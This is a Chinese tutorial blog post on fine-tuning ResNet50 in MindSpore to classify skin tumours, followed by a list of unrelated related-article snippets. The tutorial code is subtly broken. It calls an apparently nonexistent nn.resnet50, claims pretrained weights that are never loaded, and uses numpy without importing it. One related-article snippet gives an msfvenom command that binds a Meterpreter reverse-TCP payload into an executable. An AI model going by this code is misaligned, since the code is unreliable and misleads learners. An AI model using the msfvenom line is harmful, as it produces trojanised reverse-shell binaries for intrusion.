昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍
本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据处理、模型搭建与训练、性能评估以及模型推理。
1.1 实验目标
- 掌握使用MindSpore进行深度学习模型训练的基本流程;
- 了解ResNet50模型的结构及其在图像分类中的应用;
- 学习如何针对特定数据集(皮肤病图片)进行模型微调和参数优化。
1.2 使用工具
- MindSpore框架:开源的AI计算框架,适用于多场景应用,支持端、边、云等多种部署环境。
- ResNet50模型:一种经典的深度残差网络,能够有效解决深层网络的梯度消失问题。
- 昇思大模型平台:基于昇思MindSpore的深度学习平台,提供丰富的模型库和强大的计算资源。
1.3 实验步骤
- 数据准备:收集并处理皮肤病数据集,确保数据质量;
- 模型选择:使用MindSpore提供的ResNet50预训练模型进行微调;
- 模型训练:配置训练参数,启动模型训练;
- 模型评估:通过验证集评估模型性能,进行超参数调整;
- 模型推理:部署训练好的模型进行恶性皮肤肿瘤识别。
2. 数据集处理
2.1 数据集介绍
该实验数据集包含四类皮肤病图片,分别为:
- 基底细胞癌(Basal Cell Carcinoma):最常见的皮肤癌,通常不扩散但有局部侵袭性;
- 黑色素瘤(Melanoma):最严重的皮肤癌,易扩散至其他部位,需早期发现治疗;
- 色素性良性角化病(Pigmented Benign Keratosis):良性皮肤病变,表现为皮肤上的色素斑块;
- 痣(Nevus):通常为良性的色素痣,但某些情况下可能发生恶变。
2.2 数据集获取和整理
数据集的下载链接为:https://xihe.mindspore.cn/datasets/knoka/pifudata_Maker/tree。数据集包含4个分类,每类有若干图片,且已划分为训练集和验证集。
接下来,我们将通过代码下载并解压数据集,同时将数据集文件夹按编号进行重命名,方便后续的加载和使用。
# 重命名数据集文件夹,方便后续处理
import os# 定义疾病名称和编号的映射
diseases = {0: "basal_cell_carcinoma",1: "melanoma",2: "nevus",3: "pigmented_benign_keratosis",
}# 定义目标文件夹路径
target_directory = "pifudata_Maker/images/"# 重命名文件夹
for folder in ["train", "val"]:folder_path = os.path.join(target_directory, folder)for number, disease in diseases.items():old_folder_path = os.path.join(folder_path, disease)new_folder_path = os.path.join(folder_path, str(number))os.rename(old_folder_path, new_folder_path)
2.3 数据可视化

数据集中的每个类别的图片数量如下:
- 训练集:Nevus(357张)、Melanoma(438张)、Pigmented Benign Keratosis(462张)、Basal Cell Carcinoma(376张);
- 验证集:每类均为16张。
为了更直观地了解数据集分布,我们绘制了训练集和验证集的类别分布图。
import os
import matplotlib.pyplot as plt# 数据集路径
data_path_train = "pifudata_Maker/images/train"
data_path_val = "pifudata_Maker/images/val"# 统计每个类别的图片数量
file_counts_train = {}
file_counts_val = {}# 获取训练集和验证集的数据分布
for folder_name in os.listdir(data_path_train):folder_path = os.path.join(data_path_train, folder_name)count = len(os.listdir(folder_path))file_counts_train[folder_name] = countfor folder_name in os.listdir(data_path_val):folder_path = os.path.join(data_path_val, folder_name)count = len(os.listdir(folder_path))file_counts_val[folder_name] = count# 绘制图像
categories = list(file_counts_train.keys())
plt.figure(figsize=(12, 8))# 绘制训练集和验证集的条形图
plt.bar(categories, file_counts_train.values(), width=0.4, color='blue', label='Train')
plt.bar([x + 0.4 for x in range(len(categories))], file_counts_val.values(), width=0.4, color='green', label='Validation')# 添加标签与图例
plt.xlabel('Category')
plt.ylabel('Number of Images')
plt.legend()
plt.show()
2.4 数据加载
我们将通过MindSpore的ImageFolderDataset加载数据集,并定义数据增强操作来提高模型的泛化能力。训练集进行随机裁剪和翻转等增强操作,验证集只进行基本的归一化处理。
import mindspore.dataset as ds
import mindspore.dataset.vision as vision# 定义数据集加载函数
def create_dataset(dataset_path, usage):data_set = ds.ImageFolderDataset(dataset_path, shuffle=True)mean = [0.485 * 255, 0.456 * 255, 0.406 * 255]std = [0.229 * 255, 0.224 * 255, 0.225 * 255]if usage == "train":trans = [vision.RandomCropDecodeResize(size=224, scale=(0.08, 1.0)),vision.RandomHorizontalFlip(prob=0.5),vision.Normalize(mean=mean, std=std),vision.HWC2CHW()]else:trans = [vision.Decode(),vision.Resize(224),vision.Normalize(mean=mean, std=std),vision.HWC2CHW()]data_set = data_set.map(operations=trans, input_columns="image")data_set = data_set.batch(64)return data_set# 创建训练集和验证集
train_dataset = create_dataset("pifudata_Maker/images/train", "train")
val_dataset = create_dataset("pifudata_Maker/images/val", "val")
3. 模型训练
3.1 模型定义
我们将使用MindSpore自带的ResNet50预训练模型,并对其最后一层进行修改,使其适应四类皮肤病的分类任务。
from mindspore import nn
from mindspore import load_checkpoint, load_param_into_net# 定义ResNet50模型并加载预训练权重
def resnet50(num_classes=4, pretrained=True):net = nn.resnet50()in_channels = net.fc.in_channelsnet.fc = nn.Dense(in_channels, num_classes)return netnetwork = resnet50()
3.2 模型训练
我们使用Momentum优化器和交叉熵损失函数进行模型训练。每个epoch结束后,会在验证集上进行评估,并保存最佳模型。
from mindspore import train# 定义损失函数和优化器
loss_fn = nn.SoftmaxCrossEntropyWithLogits(sparse=True)
opt = nn.Momentum(params=network.trainable_params(), learning_rate=0.001, momentum=0.9)# 实例化模型
model = train.Model(network, loss_fn, opt, metrics={'accuracy'})# 训练模型
num_epochs = 25
best_acc = 0
for epoch in range(num_epochs):model.train(epoch, train_dataset)acc = model.eval(val_dataset)['accuracy']print(f'Epoch {epoch+1}/{num_epochs}, Accuracy: {acc}')if acc > best_acc:best_acc = accmodel.save_checkpoint('best_model.ckpt')
4. 模型推理
在模型推理部分,我们首先需要对输入的图像进行预处理,将其转换为适合模型输入的格式。预处理完成后,我们将调用训练好的模型进行预测,并展示最终的推理结果。
import matplotlib.pyplot as plt
import mindspore as ms# 定义图片预处理函数
def preprocess_image(image_path):from PIL import Imageimage = Image.open(image_path)image = image.convert('RGB') # 确保图像为RGB格式image = image.resize((224, 224)) # 调整大小image = np.array(image) / 255.0 # 归一化image = np.transpose(image, (2, 0, 1)) # 调整维度image = np.expand_dims(image, axis=0) # 增加batch维度return image.astype(np.float32)# 定义推理函数,加载模型并进行预测
def infer(image_path, checkpoint_path):# 加载预训练模型net = resnet50(num_classes=4)param_dict = ms.load_checkpoint(checkpoint_path)ms.load_param_into_net(net, param_dict)model = ms.Model(net)# 预处理输入图像image = preprocess_image(image_path)image_tensor = ms.Tensor(image)# 进行推理output = model.predict(image_tensor)predicted_class = np.argmax(output.asnumpy(), axis=1)[0]# 类别映射class_names = {0: "基底细胞癌",1: "黑色素瘤",2: "痣",3: "色素性良性角化病"}# 展示结果plt.imshow(np.transpose(image[0], (1, 2, 0)))plt.title(f"预测结果: {class_names[predicted_class]}")plt.axis('off')plt.show()# 调用推理函数,展示结果
infer('path/to/your/image.jpg', 'best_model.ckpt')
该推理函数会加载已经训练好的模型,并将输入图像转换为合适的格式,最后通过模型预测输出类别。我们将使用Matplotlib库展示预测结果,并标记图像的分类情况。
结语
在本次实验中,我们一起学习了如何使用MindSpore框架进行皮肤肿瘤识别的任务。通过数据预处理、ResNet50模型的搭建与微调,以及模型训练与推理,逐步构建了一个能够对皮肤病进行分类的模型。虽然深度学习在医学图像识别领域具有广泛的应用前景,但在实际操作中,我们仍需要不断调整和优化模型的各项参数,以获得更好的性能。
相信在实践的过程中,我们都能更加深入地理解这些技术背后的原理,并在今后的学习和项目中继续探索和应用。也希望我们在未来的研究中,能通过更多的尝试和合作,共同提升我们的技能和知识水平。学习是一个不断积累的过程,期待和大家一起继续进步!
如果你觉得这篇博文对你有帮助,请点赞、收藏、关注我,并且可以打赏支持我!
欢迎关注我的后续博文,我将分享更多关于人工智能、自然语言处理和计算机视觉的精彩内容。
谢谢大家的支持!
相关文章:
昇思学习打卡营第33天|基于MindSpore的恶性皮肤肿瘤识别
1. 实验介绍 本次实验的目标是基于MindSpore框架,训练一个ResNet50模型,用于恶性皮肤肿瘤的分类识别。本实验将使用包含四类皮肤肿瘤图片的数据集,针对ResNet50模型进行微调,训练出一个能够精准分类皮肤病的模型。主要过程包括数据…...
基于SpringBoot+Vue的网约车管理系统
作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏:…...
Java、PHP、ASP、JSP、Kotlin、.NET、Go
Java 1995年,Java诞生了,微软的Java是J#,早期是J. 它在C的基础上增强了安全性,不允许多重继承,堆栈不允许类对象,数组和枚举都是类对象。 Java的诞生 早期的Sun公司想要在消费级嵌入式设备编写可移植的代码…...
华为-单臂路由
1、什么是单臂路由 单臂路由(Single-Arm Routing)是一种网络架构和配置技术,它允许路由器通过一个物理接口来管理多个虚拟局域网(VLAN)之间的通信。 这个物理接口被配置为Trunk模式,以便能够传输来自不同VL…...
AI应用的东风,奥特曼不想错过
文|魏琳华 编|王一粟 作为炙手可热的AI公司,Open AI又一次拿到了一轮足以令对手眼红的巨额融资。10月2日,Open AI宣布顺利完成66亿美元融资,补上了烧钱研发亏损的同时,还为下一轮竞争拿到了资金支持。 跻…...
LeetCode[中等] 238. 除自身以外数组的乘积
给你一个整数数组 nums,返回 数组 answer ,其中 answer[i] 等于 nums 中除 nums[i] 之外其余各元素的乘积 。 题目数据 保证 数组 nums之中任意元素的全部前缀元素和后缀的乘积都在 32 位 整数范围内。 请 不要使用除法,且在 O(n) 时间复杂…...
Linux plt表调用汇编代码分析
linux调用共享库中的函数时通过plt表和got表实现位置无关代码,过程中涉及到lazy binding,即在第一调用外部函数时解析被调用的函数地址并将地址写入到got表,后续调用则不需要解析函数地址,具体过程如下 1.c程序如下 #include &l…...
ubunut声卡配置 播放视频没有声音的解决方法 蓝牙问题
文章目录 🌕ubuntu22.04网页没有声音,声卡提示Dummy Output🌙方法一:切换内核🌙方法二:UBUNTU 声卡提示Dummy Output或伪输出解决办法(2020.04.02🌙方法三:解决Ubuntu18.…...
《软件工程概论》作业一:新冠疫情下软件产品设计
课程说明:《软件工程概论》为浙江科技学院2018级软件工程专业在大二下学期开设的必修课。课程使用《软件工程导论(第6版)》(张海藩等编著,清华大学出版社)作为教材。以《软件设计文档国家标准GBT8567-2006》…...
大厂出来的人为什么不比你高效?
在最近参加的一个线下聚会上,有人问我:“我们单位有来自阿里、腾讯、华为这些大厂的人,为什么我没觉得他们做事比我们这些没大厂经历的人更有章法和效率?”你别说,这一问所反映的现象,与我在阿里巴巴工作时…...
71.【C语言】动态内存管理(重点)(4)
本文为数据结构打下基础 备注:数据结构需要掌握指针,结构体和动态内存管理 目录 6.常见的动态内存的错误 1.对空指针解引用 2.对动态空间的越界访问 3.对非动态内存空间进行free释放 4.使用free只释放开辟的内存空间的一部分 5.对同一块动态内存多次释放 6.动态开辟的…...
JavaScript 用HTML5约束验证API做表单验证
一、验证属性与通过与否 以下为在表单元素上的可用属性: required<boolean> 必填字段,接受布尔值,默认false pattern<string> 接受正则,用户输入的文本必须满足该正则表单元素对象上有checkValidity()方法ÿ…...
Unity 编辑器多开
开发多人联机的功能时大多数会遇到测试机不方便的问题。想多开同一个项目Uinty又禁止。。。因为在使用Unity Editor打开一个项目时,Unity Editor会在项目目录建立一个Temp目录,同时对里面的一个UnityLockfile文件进行加锁。SO...可以使用以下方法进行多开…...
【Spring Boot React】Spring Boot和React教程 完整版
【Spring Boot & React】Spring Boot和React教程 在B站找到一个不错的SpringBoot和React的学习视频,作者是amigoscode 【Spring Boot & React】Spring Boot和React教程 2023年更新版【Spring Boot React】价值79.9美元,全栈开发,搭…...
Linux中的多线程
Linux线程概念 在一个程序里的一个执行路线就叫做线程(thread)。更准确的定义是:线程是“一个进程内部的控制序 列” 进程是系统分配资源的基本实体 线程是CPU调度的基本单位 POSIX线程库 创建线程 功能:创建一个新的线程 原…...
《计算机原理与系统结构》学习系列
系列文章目录 一、计算机概要与技术 二、指令:计算机的语言(上) 三、指令:计算机的语言(中) 四、指令:计算机的语言(下) 五、计算机的算数运算(上&#…...
征程6 工具链常用工具和 API 整理(含新手示例)
1.引言 征程6 工具链目前已经提供了比较丰富的集成化工具和接口来支持模型的移植和量化部署,本帖将整理常用的工具/接口以及使用示例来供大家参考,相信这篇文章会提升大家对 征程6 工具链的使用理解以及效率。 干货满满,欢迎访问 2.hb_con…...
我有一张图,我怎么让midjourney按照这张图继续生成呢?
使用文字生成图片是一种基本的功能,但是还有一种场景,不是从文字生成图片,而是基于已有的一张图片生成另一张图片,这个时候,就需要以图生图的功能了。 以图生图:image to image generator 以图生图技术让我们见识到…...
MSF捆绑文件
msf捆绑文件 msf快速打开不启动banner msfconsole -q msf捆绑文件 msfvenom -p windows/meterpreter/reverse_tcp LHOST127.0.0.1 LPORT8888 -f exe -x 1.exe -o msf.exe...
01_SQLite
文章目录 ** SQLite 存储各类和数据类型 **** SQLite 五种亲缘类型** SQLite 创建数据表删除数据表插入数据信息从数据表中获取数据,以结果表的形式返回数据(结果集)updatedistinctorder bygroup byhaving触发器删除一个触发器(tr…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...
ES6从入门到精通:前言
ES6简介 ES6(ECMAScript 2015)是JavaScript语言的重大更新,引入了许多新特性,包括语法糖、新数据类型、模块化支持等,显著提升了开发效率和代码可维护性。 核心知识点概览 变量声明 let 和 const 取代 var…...
DockerHub与私有镜像仓库在容器化中的应用与管理
哈喽,大家好,我是左手python! Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库,用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...
安宝特方案丨XRSOP人员作业标准化管理平台:AR智慧点检验收套件
在选煤厂、化工厂、钢铁厂等过程生产型企业,其生产设备的运行效率和非计划停机对工业制造效益有较大影响。 随着企业自动化和智能化建设的推进,需提前预防假检、错检、漏检,推动智慧生产运维系统数据的流动和现场赋能应用。同时,…...
linux 错误码总结
1,错误码的概念与作用 在Linux系统中,错误码是系统调用或库函数在执行失败时返回的特定数值,用于指示具体的错误类型。这些错误码通过全局变量errno来存储和传递,errno由操作系统维护,保存最近一次发生的错误信息。值得注意的是,errno的值在每次系统调用或函数调用失败时…...
vue3 定时器-定义全局方法 vue+ts
1.创建ts文件 路径:src/utils/timer.ts 完整代码: import { onUnmounted } from vuetype TimerCallback (...args: any[]) > voidexport function useGlobalTimer() {const timers: Map<number, NodeJS.Timeout> new Map()// 创建定时器con…...
Ascend NPU上适配Step-Audio模型
1 概述 1.1 简述 Step-Audio 是业界首个集语音理解与生成控制一体化的产品级开源实时语音对话系统,支持多语言对话(如 中文,英文,日语),语音情感(如 开心,悲伤)&#x…...
C# SqlSugar:依赖注入与仓储模式实践
C# SqlSugar:依赖注入与仓储模式实践 在 C# 的应用开发中,数据库操作是必不可少的环节。为了让数据访问层更加简洁、高效且易于维护,许多开发者会选择成熟的 ORM(对象关系映射)框架,SqlSugar 就是其中备受…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
深度学习水论文:mamba+图像增强
🧀当前视觉领域对高效长序列建模需求激增,对Mamba图像增强这方向的研究自然也逐渐火热。原因在于其高效长程建模,以及动态计算优势,在图像质量提升和细节恢复方面有难以替代的作用。 🧀因此短时间内,就有不…...
